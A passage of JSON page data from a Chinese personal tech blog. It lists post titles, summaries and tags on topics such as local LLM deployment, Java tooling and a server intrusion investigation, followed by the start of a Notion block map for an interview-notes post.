pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240429-LM-fox","tags":["面试"],"summary":"搜狐面试题","title":"万里长征-03-搜狐","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-05-25T02:20:00.057Z","lastEditedDay":"2024-5-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"}],"password":"","blockMap":{"block":{"2caa6a98-fd82-4de7-838f-e08dfe6649ab":{"value":{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","version":927,"type":"page","content":["4d5e341f-9be1-41e9-920e-2f677e32e077","9b2d5d3b-b6a2-497f-8f50-c423c92cca92","5104dc13-ea0d-4c76-bdb0-c5429e469937","1b5dd084-86e3-41ed-b16e-cd05cc11a651","7a6a2721-ebc2-47a6-ac72-f9c64a19e90d","17287443-6415-4bea-8f4b-522c150a52ad","785092f6-bfe1-466b-a403-1ed3b7a82f88","47ae8380-bb5f-49be-9209-f6a1cd80edaf","8a564191-ac4a-467a-9494-f01feb9af23c","053c2ded-7f8e-40a4-bdae-35774d13060b","1d911f28-b858-4621-aa57-9583550e1227","3c73650f-b3bc-449b-a0fa-3c62aaad651b","b0edece7-67dd-488b-86f4-937c4bfe494e","8a0a6e89-dd1b-4d39-9d66-6a0eb540cc10","d16d341e-5053-4d98-9ee4-2cb8c0872556","dcfefeb1-8918-473e-9328-733e2579a1e3","9f40dac6-b8fa-43aa-825a-04e259a93eab","ff85224a-3791-4034-9394-b4a026fe4070","20239392-ff0d-4678-90fe-69b3ab6db6a2","92d5812c-9ba1-4f47-b6bf-5b27e08173ae","43458234-47b1-4496-ad4c-9daba677a357","94bbcddf-2549-4ed1-bfbd-bdf8febf93c3","607a8c25-9510-4530-9d99-a03469c2f819","5482d1b9-b8ac-43fe-8642-3180ad93f30c","b3370a6c-9648-441c-a364-a69e44c62605","6adc538c-222c-4a34-b191-db666accc65d","2c1141ba-36e4-4770-a635-d796d8d22340","3a477014-c4c4-45a0-9a66-edf8ed09115c","0026b0d5-58bf-4fb5-9006-3cbad925ea47","80cd08ab-5069-406c-a5b4-96f1545a2f89","fc9ae7cc-6549-4f07-afff-34931041b525","ff7178d8-e0b1-437a-baf0-9ba00efda439","c7553b3a-6d58-4993-8f36-52ca4ecc0133","ea58a8e1-a6bb-45a1-922e-984d3092fa46","70eb6b40-2056-4e99-972c-92818dda3c02","0f34f8b8-3588-4c02-9124-bfc7a2c5debb","f0b097d0-ae2c-4434-9f1e-d1edf128458b","4e1c436b-628e-4d93-bc5d-54a62cc24286","75f1d41c-d9ad-418a-b181-db1f7c913a2a","f65f90a2-4636-47c9-8675-9cfdd8097b5a","67729556-39b5-4789-9ed3-ea40c7e69738","a057097c-d921-4553-a5c6-d8b3892b4e2d","3c510d0e-8e49-46db-b7ad-a5ad367e5a34","7deee129-2daf-4d1d-b1c6-9366c6b84fd7","2616830c-0b48-4ff5-aad8-63bb89e39753","583d5a12-2cb6-4a88-9928-15d946b71c03","5c30ff5e-92ee-4d58-aa35-2636eec2fec6","f83fe364-7758-4b7d-a2b4-97b7bbe8c45a","cfd5a99a-434f-48c5-a412-f7adbf806832","2c5006ea-e759-4e2b-bc52-a86d0a9b0f8c","ef74f09c-abde-4cc7-a817-d12610cd6507","a28f9e1a-54ad-4bc4-9dfe-9a497ae8fa4a","3027a6d1-9072-4c2a-9290-95c11d91ca2f","8f4a42d7-42f9-4989-974d-1821a0c21035","59fa0619-f8a9-41ec-b972-0e2aca840b33","35820500-a7fe-4db3-99ce-e08eb0380935","60d78664-d373-48ac-ab4e-48a18f7ddcb9","71d1d509-e282-43a3-a20e-3979ab09fad0","acff96a5-834f-433e-8f8e-bc4f68262ef3","1477c6b1-5123-466c-b9ea-5a407a7f558d","b305d0fa-e4f6-42f1-8b58-42f83bb79007","ebc08365-90f9-4b67-8c9f-58e84e20601f","487429ac-e5a2-48da-95d9-33cb1bba96a9","ee50a6ea-2152-4aec-bec5-ad44bd94f6df","c6b64634-728e-4edb-bc93-583dac7c023e","741909f0-27e7-4160-a051-53351b768cc3","e3f5af02-1377-41f4-844d-d4241f176a39","c5e6bd2c-bad4-4960-9bda-21e20c6c6299","0d26d3b9-adcc-43a3-bbd4-0eee5746b4e8","39d06ff6-dc42-4d5e-83aa-b1592faa17b2","ae403e24-8d53-4523-b295-372937eecad4","58d063c9-9f62-4842-a163-84939315e780","e0c123ea-66d5-4f8f-8b00-4a10aaa87dce","b4a501f4-5a53-489d-8dbb-e1749583f974","10ed7fcb-b35c-4b15-9e60-4de71ca2c2b4","980fe335-9a10-4e98-9793-3ca097bf8256","be52d9c1-e71f-4c1f-8ede-46f01bc1170b","7b27dff5-6e48-4c99-aecd-dc662be1d1d0","3e505d70-005f-4051-8643-91f5b1f5b47a","2e490057-db94-4a66-b655-d9ff672a83bd","4f3922e6-3cb5-4b86-ab41-1528e9e7a3b5","8b4f3159-f561-4797-92de-e32c2b16f771","a5016cf9-d939-4187-9a66-358cd0821083","a56ddce5-3006-4754-b068-3b7e18c0b4eb","cac60fbb-2e66-4486-9366-7125951f697e","8668bdb3-34ea-4e85-9780-f3c3c01ed9b1","93bd96b5-0bfd-4f59-bd01-0a6e04814b20","2d0b021b-ccd5-43b0-b6d4-84e88b299ca7","756ba6d3-aa5c-444c-8b7d-d6454a8800a7","7f7ae1e3-7c83-4697-95bf-a9d696e29c98","e6b5f2e2-e1eb-4e48-b3a7-a19c6cfa5aba","f71c85b2-66b1-4cea-8a18-4d80673527fb","5e3a0497-1736-4ae7-b862-34a230565a75","0592925b-bbc9-461f-baae-2dbe318ccd24","604868b6-0853-4a3e-a20f-9eec2707a108","9b0dc533-0b7c-490e-a7a3-512862b27e00","2ca1a5d9-bdc7-473a-96c8-42fb2961a464","e33beedd-0063-4d9d-bac2-fabeeda1eca4","c8e6c5cf-8449-46bf-8c1b-bc3fe1bd180b","d1198e84-f324-4f3f-9be2-f900b06b276e","36466711-7ffa-4e51-ae27-c89b6b9afdb0","dadbc0e0-85ac-4653-9271-bf86e8aa3091","738ee6bd-6c9a-4b08-9a8a-1af97a68d359","60159cb4-898d-4689-8028-e47ae34f4321","7b8010fa-4530-42ca-83e8-201477ca8ccc","5fdefc00-4990-4e70-b8e4-b11356af0e7c","a4c8ad7b-1f57-4d13-930f-2f98e91f6b0c","a2ead9c1-353f-4f79-905b-57d7ae3c74a1","69e00511-c7cc-45a7-b322-f581213805be","81ff755c-87fb-4a8c-a5ff-02f890e1e990","3ee10fd1-f511-4646-b722-363af9b7e7ce","d85b8d6a-231f-4c01-8fc1-e7996a3cbfa3","6ef463fa-337b-493c-9d0a-99a29a33b222","84970f58-33ae-42a6-939b-93623fe084f7","5919c901-b7ef-4442-a80f-b1881cafeef3","859bf6d3-940d-495b-867b-2efca9ac5f70","d12d664f-17e3-4c2b-afd6-9be19b5a8b81","6dc4e13d-43a5-4fc9-95d7-c9de1a3f947c","323fc866-bd74-48fe-8875-adeae4d44555","6627e5f5-929d-4fdd-9d7b-6bb59537c85e","7af60d22-4f44-40ef-a343-a4869c55b355","5ea76b2e-5393-4f2e-9d50-77386f38b519","8d0b9e28-739d-4179-9e25-f01c62b1ac2f","eaa64d52-e8e8-44ac-bd49-b439e2b0967e","03fe2727-bf9e-4995-9ffc-1519e32f8e24","3933ef61-dabe-4172-83c2-b521175cc2a1","fbc8d6c0-fa70-4f05-9f49-d900ee73cd42","729d8d7d-0761-4efd-819a-9cb14a4f766e","486f9e12-2ba0-41d4-ba70-8efbedfc75b8","4df76c23-c847-4648-9839-d0ee47eef622","fab4c8cb-cec7-4e6d-acee-5c9977009cb3","e687494a-4548-4724-83b6-4ff824552583","b46817e2-2cbd-4cab-ae6b-f451c216ff4f","b287b732-6422-4ba6-8b44-9f6f95684652","5d4d02aa-8395-48ce-a806-13ff6fe69530","cd5adeaa-1140-4f70-aa69-968f178c43d5","088e0174-e70a-405e-a498-7a505487fc89","97d74d85-0bc7-411c-afd5-7b64fccc9cf9","37e17bee-dbf1-44d9-8a83-538ed63265c2","d498cbae-7209-4303-a7a1-204d99a0ae9d","38059ff8-f755-419d-85be-8eeea0541297","8fbcaf36-a0a4-44b5-bbea-d4ab48ea846e","7e711f0c-2d54-492a-b336-5906f903ba80","339b03cf-1041-4424-be1e-c0add7f01200","fe044550-55a0-4be4-876d-54cf04d9321d","7e33cfe7-5d79-4a90-a1bd-66b6bc90d31c","39c0839a-e7b5-46a3-8dcb-a5a62b916427","8a63b4f5-c486-41ee-a60a-ee5a4e7346a6","b6dfc95c-6193-451e-843a-e10deb2e64ac","386e7837-1d61-40e6-8971-43d3d91b849d","bab19eda-cd4c-4050-a3d6-1229d6e755f1","58c4a8d9-1827-4fae-b3a0-164c01cc2915","8393e307-4057-4c50-b98a-111264b61966","ef326af5-8c0f-45d8-a0df-405650c12310","e22cbc18-48aa-462f-ace7-cb0d4927a6be","67fe2c20-5116-414a-ae2a-af345aa40653","93189cd8-0373-49c0-90c8-890d5396f1be","af8b7b7d-26f4-4d75-8981-8fc7f2b9ebb2","9d52e0be-cb81-4c1a-ba73-83c965792b2f","5b5a139f-a303-4996-b7c5-37bc11dc0048","5cff95da-59e2-4b12-8827-f30ac76945bb","a444e668-b49a-4213-8918-a0899b8d5fda","6ee8a614-7544-4f85-bc85-9ac93443298b","df6b6f7f-f360-46f4-a87c-c884a8e5f9d9","63e131d2-129c-481b-b1c9-f4296794bbb1","237d7796-8a14-43c7-90d1-6c061a1742cb","afd8bcd0-8d35-436c-b480-5d59754a2d78","27bc142d-fdbd-4e60-aece-f11c1aa52a60","4e04ffba-ff5c-45a6-a61d-6bf4a810c484","82e56456-feaf-4dfd-a38f-d170a69d3637","fd017c1b-e336-4d52-9495-b64c8ec79ace","55e9ad93-435d-460d-9271-60e0db476def","f499f38a-690f-4368-a166-0b2b9cefc2a1","d279a2c7-69d5-466a-a705-4f99996a0b76","7803ea7d-8104-42f2-9dc4-1db66312ce95","451c85cb-2e06-43d0-a0f8-ea49cccff3b2","9c90bac6-b729-469a-88a8-78455e493839","a79e00ab-c3f0-4179-aa18-a90eb8364dcb","ede9609a-ec98-4e67-8928-eb3d905d7b1e","0a6870a5-5116-4d6c-a639-783da9f583ef","6dd92d31-9fa8-480b-a6e7-0fb5b73537de","128202bf-4aa2-4a55-8179-d6666fe177d4","cc89dc63-5dd2-4681-a162-c19791bd0456","ad5be0ab-c8a2-4f68-8343-4dbafa08fe86","7c07bd38-b272-4cdd-90fb-8ef442a981e5","bb617af5-765a-4be9-b768-421b16144e3a","c66d8b4b-a15c-445c-918e-53c0fa8026d8","2f94de31-cdf4-44db-95af-c39c5e2b19fa","618a4a4f-6300-42d8-bb18-77739164a028","1dc6b2ea-047c-4aa1-8798-af8c60e4d3b4","c81fe88b-6d8a-4917-b16f-87b1baca4474","32257422-dba7-4cac-9eb7-8c7f5bc7a8d9","ba450acf-c8b6-4caf-8bc2-2e8ac3d41067","af00688e-8ae8-470a-82b0-fced94f647eb","25b01735-c78c-4de0-b950-3c847ee68845","598562c6-7038-4f5c-9353-646e6e15b743","524e6181-fab7-4508-97c2-926e45ef7289","ab973de6-46d4-48fa-bac5-3af53f61a6bb","507b0255-0d78-457a-bacc-134cc7d085af","217e93a1-b3f5-4952-8fc5-fcbfceeb80c4","c6db6086-cfe2-4bb3-bba1-451070e66f53","e95e4a28-e195-4b67-8306-dbb51b79bafb","3469c77e-5bf0-42f5-9592-f650e2ea5b9d","508b0020-5e75-4c71-a18a-60d6c504b35d","162686bc-97cb-42a7-b630-4fc4bcacb4be","f1b6991d-a040-4a48-99a2-d0fd193dd414","7367d285-043e-4eec-a1bc-44ef9d27bed7","652202c1-f2fd-4d17-9e94-4177668e9386","c1209b91-132d-4b37-8f91-1fb4b21a0f4e","b70cbc03-3da0-4f36-abe8-2b791e38e206","d9c36b49-f04a-4af7-91e5-54d6dbe2270d","db44ffc7-2adc-4742-ac0c-ed2f62a905ad","34725d72-bb56-4937-a988-4152ce4ea498","e0e2cad0-8dd5-47f4-9732-18a169712db8","f0aac219-9b78-4397-a987-35f60d4ff8a4","565251c8-7a51-4fa3-af51-b2a8f5617cf6","a30ed942-2477-44c4-a578-a8fbac2fc2a4","3533fbc4-5b75-42cd-ae2a-c3a5d48a8882","8bf147c4-af84-4995-bbb7-74ff8618a608","91bad55b-2698-4634-8910-5ea10ac41f40","7792d316-39bd-48cf-96aa-bf4e4299e5ac","af77f7ff-6362-492a-9fe7-baaf4861596a","0d59682d-c9da-4d68-995a-4e5824e7aacf","9f1c37c9-9225-48c4-a489-758fc610b0af","5ce0c80d-2cba-4733-b121-0059021340cb","d3cb6589-ec67-460d-82b9-9d8bbe8f90d6","eef3d831-8bdc-4fc6-9147-3575566bcaef","268bd9b4-5bea-4ac6-9361-36f492f67990","feced68c-aa07-41f3-b2f9-c759f100a621"],"format":{"page_icon":"🗒️","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"fbea6284-6910-456b-9292-c62e080c9f59","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377289490,"last_edited_time":1716603600057,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"fbea6284-6910-456b-9292-c62e080c9f59","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a